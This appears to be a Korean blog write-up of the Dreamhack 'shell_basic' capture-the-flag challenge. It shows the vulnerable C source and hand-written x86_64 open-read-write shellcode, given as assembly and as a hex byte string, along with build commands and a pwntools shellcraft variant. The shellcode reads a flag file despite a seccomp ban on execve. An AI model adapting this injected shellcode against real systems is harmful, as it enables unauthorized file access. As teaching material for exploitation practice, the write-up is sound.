728x90
반응형
문제
문제 파일에는 shell_basic ELF 파일과 shell_basic.c가 들어있다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
main() 함수를 제외한 나머지 alarm_handler(), init(), banned_execve()는 문제 환경 설정을 위한 함수이다.
main()을 살펴보자.
mmap 함수는 매모리에 파일을 매핑해주는 함수이다. 이번 문제에서는 그냥 쉘코드를 잘 실행할 수 있게 도와준다.
shellcode에 0x1000만큼 입력을 받고, 실행시켜준다. 그냥 execve를 사용하지 않고 문제를 풀면 될 것 같다.
dreamhack 강의에 나온대로 ORW shellcode를 사용해서 풀면 될 것 같다.
section .text
global _start
_start:
; flag path push
push 0x00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
;open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
;read
mov rdi, rax
mov rsi, rsp
sub rsi, 0x50
mov rdx, 0x50
mov rax, 0x0
syscall
;write
mov rdi, 1
mov rax, 0x1
syscall
;Exit
xor rdi, rdi
mov rax, 0x3c
syscall
문제의 Descriptoin에서 flag의 경로를 알려주었으므로 flag의 경로를 push 해주고, flag를 open해서 read하고, 출력해준다. 어셈을 직접 짜보니까 x86_64 레지스터들에 대해 익숙해지고 syscall table을 이해하는데 큰 도움이 된다.
nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
어셈블리 코드를 덤프 파일로 만들고, 거기에서 쉘코드 형식에 맞게 변환해서 shellcode.bin에 넣어준다.
'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05\x0a'
익스플로잇
은 드림핵 정책에 따라 공개하지 않습니다,,
추가로 위처럼 ORW 쉘코드를 어셈으로 하나하나 짤수도 있지만, pwntools에는 shellcraft라는 아주 좋은 기능이 있다. 그냥 아래처럼 우리가 원하는 함수를 넣으면 쉘코드로 뚝딱 만들어준다.
shellcode = asm(shellcraft.open(path))
shellcode += asm(shellcraft.read('rax','rsp',0x100))
shellcode += asm(shellcraft.write(1,'rsp',0x100))
그래도 직접 짜보는게 큰 도움이 되는 것 같다!!
728x90
반응형